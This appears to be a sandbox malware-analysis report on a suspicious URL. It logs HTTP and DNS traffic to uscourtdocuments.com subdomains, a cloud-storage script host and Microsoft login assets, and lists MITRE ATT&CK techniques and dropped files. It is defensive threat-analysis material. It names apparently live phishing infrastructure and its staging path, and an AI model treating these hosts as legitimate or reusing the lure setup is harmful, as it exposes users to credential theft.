Source: global traffic	HTTP traffic detected: GET /A3RjQ HTTP/1.1Host: jdjdhjh.uscourtdocuments.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /A3RjQ/ HTTP/1.1Host: jdjdhjh.uscourtdocuments.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef549aa0e1f4376&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef549aa0e1f4376&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: jdjdhjh.uscourtdocuments.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jdjdhjh.uscourtdocuments.com/A3RjQ/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=sl0suu9ntcc53peup2c7cdtnrn
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ef549aa0e1f4376/1733750380225/lkZzm5MAjpxYvTY HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ef549aa0e1f4376/1733750380225/lkZzm5MAjpxYvTY HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8ef549aa0e1f4376/1733750380229/f2673f3c80635165d7425bd75ded73beb7c00f917772d03392c76931f3491cbf/FcewdqneL0O20v9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jdjdhjh.uscourtdocuments.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jdjdhjh.uscourtdocuments.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jdjdhjh.uscourtdocuments.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 1330394848-1323985617.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 1330394848-1323985617.cos.ap-singapore.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: qtur.uscourtdocuments.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jdjdhjh.uscourtdocuments.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: qtur.uscourtdocuments.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: jdjdhjh.uscourtdocuments.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 1330394848-1323985617.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: qtur.uscourtdocuments.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://jdjdhjh.uscourtdocuments.com/A3RjQ

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Windows Analysis Report
https://jdjdhjh.uscourtdocuments.com/A3RjQ